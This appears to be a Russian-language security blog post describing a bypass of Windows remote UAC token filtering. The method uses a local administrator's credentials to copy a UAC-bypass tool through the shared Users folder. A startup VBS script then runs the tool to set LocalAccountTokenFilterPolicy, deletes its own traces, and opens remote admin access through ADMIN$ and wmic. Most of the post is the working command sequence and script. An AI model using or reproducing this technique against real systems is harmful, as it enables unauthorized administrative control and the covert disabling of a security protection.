[hacking tricks] LocalAccountTokenFilterPolicy bypass

[hacking tricks] LocalAccountTokenFilterPolicy bypass
Скверный для хакера параметр безопасности винды LocalAccountTokenFilterPolicy, появившийся со времен Windows Vista, отвечает за функциклирование  удаленного ограничения UAC.  Это такая штука, которая фильтрует наличие привилегий админстратора по сети в отношении всех локальных пользователей системы, которые входят в группу "Администраторы". То есть, все локальные администраторы, кроме дефолтового админа с SID 500, не смогут воспользоваться интерфейсами удаленного администрирования (SMB, RPC, ...) до тех пор пока данный механизм безопасности включен. Но я кажется нашел алгоритм обхода и он основан не на подключении по RDP :)

Предлагаемый способ основан на том, что в конфигурациях по умолчанию современных Windows систем для конечных пользователей хитрым образом шарится папочка "C:Users", содержащая профили пользователей. Я думаю, что уже после этой фразы стал очевиден сценарий атаки при наличии идентификатора и пароля пользователя, которого удаленная система не желает воспринимать в качестве администратора. Значит экзекнуться в подобной ситуации уже реально, остается лишь разобраться с локальным UAC, чтобы стать полноценным администратором системы.

Для обхода локальных ограничений безопасности UAC можно воспользоваться наработками  Leo Davidson, которые затем переконтовали в удобную консольную тулу [ забрать]. Стоит лишь добавить, что метод обхода локального UAC работает также и на Windows 8 со всеми обновлениями безопасности на сегодняшний день.

C:Temp>

Microsoft Windows [Версия 6.0.6001]
(C) Корпорация Майкрософт, 2006. Все права защищены.

C:Temp>net use RHOSTADMIN$ /u:rhostadmin password
Системная ошибка 5.
Отказано в доступе.

C:Temp>wmic /node:RHOST /user:rhostadmin /password:password process call create "cmd.exe /c ipconfig"
ERROR:
Code = 0x80070005
Description = Отказано в доступе.
Facility = Win32

C:Temp>net use RHOSTipc$ /u:rhostadmin password
Команда выполнена успешно.

C:Temp>net view RHOST /all
Общие ресурсы на RHOST

Имя общего ресурса  Тип   Используется как  Комментарий
-------------------------------------------------------------------------------
ADMIN$              Диск                    Удаленный Admin
C$                  Диск                    Стандартный общий ресурс
IPC$                IPC   (UNC)             Удаленный IPC
Users               Диск
Команда выполнена успешно.

C:Temp>dir RHOSTUsers
 Том в устройстве RHOSTUsers не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки RHOSTUsers

30.03.2014  20:07    <DIR>          .
30.03.2014  20:07    <DIR>          ..
30.03.2014  20:00    <DIR>          admin
30.03.2014  18:10    <DIR>          Public
               0 файлов              0 байт
               4 папок   6 799 081 472 байт свободно

C:Temp>dir "RHOSTUsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup"
 Том в устройстве RHOSTUsers не имеет метки.
 Серийный номер тома: 5EE0-B619

 Содержимое папки RHOSTUsersadminAppDataRoamingMicrosoftWindowsStart MenuProgramsStartup

30.03.2014  23:34    <DIR>          .
30.03.2014  23:34    <DIR>          ..
               0 файлов              0 байт
               2 папок   6 799 081 472 байт свободно

C:Temp>copy /Y bypassuac.exe RHOSTUsersadminAppDataLocalTemp
Скопировано файлов:         1.

C:Temp>type logon.vbs
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "C:UsersadminAppDataLocalTempbypassuac.exe /c reg add HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciessystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f",0,true
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile "C:UsersadminAppDataLocalTempbypassuac.exe",true
objFSO.DeleteFile "C:UsersadminAppDataLocalTemptior.exe",true
objFSO.DeleteFile Wscript.ScriptFullName,true

C:Temp>copy /Y logon.vbs "RHOSTUsersadminAppDataRoamingMicrosoftWi
ndowsStart MenuProgramsStartup"
Скопировано файлов:         1.

C:Temp>net use RHOSTipc$ /del
RHOSTipc$ успешно удален.

C:Temp> /* WAIT WAIT
C:Temp> /* logoff/login user */
C:Temp> WAIT */

C:Temp>net use RHOSTADMIN$ /u:rhostadmin password
Команда выполнена успешно.

C:Temp>wmic /node:RHOST /user:rhostadmin /password:password process cal
l create "cmd.exe /c ipconfig"
Executing (Win32_Process)->Create()
Method execution successful.
Out Parameters:
instance of __PARAMETERS
{
        ProcessId = 4320;
        ReturnValue = 0;
};

C:Temp>

Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.
310K
долларов
до 18 лет
Антипов жжет
Ребёнок как убыточный
актив. Считаем честно.
Почему рожают меньше те, кто умеет считать на десять лет вперёд.

FREE
100%
Кибербезопасность · Обучение
УЧИСЬ!
ИЛИ
ВЗЛОМАЮТ
Лучшие ИБ-мероприятия
и вебинары — в одном месте
ПОДПИШИСЬ
T.ME/SECWEBINARS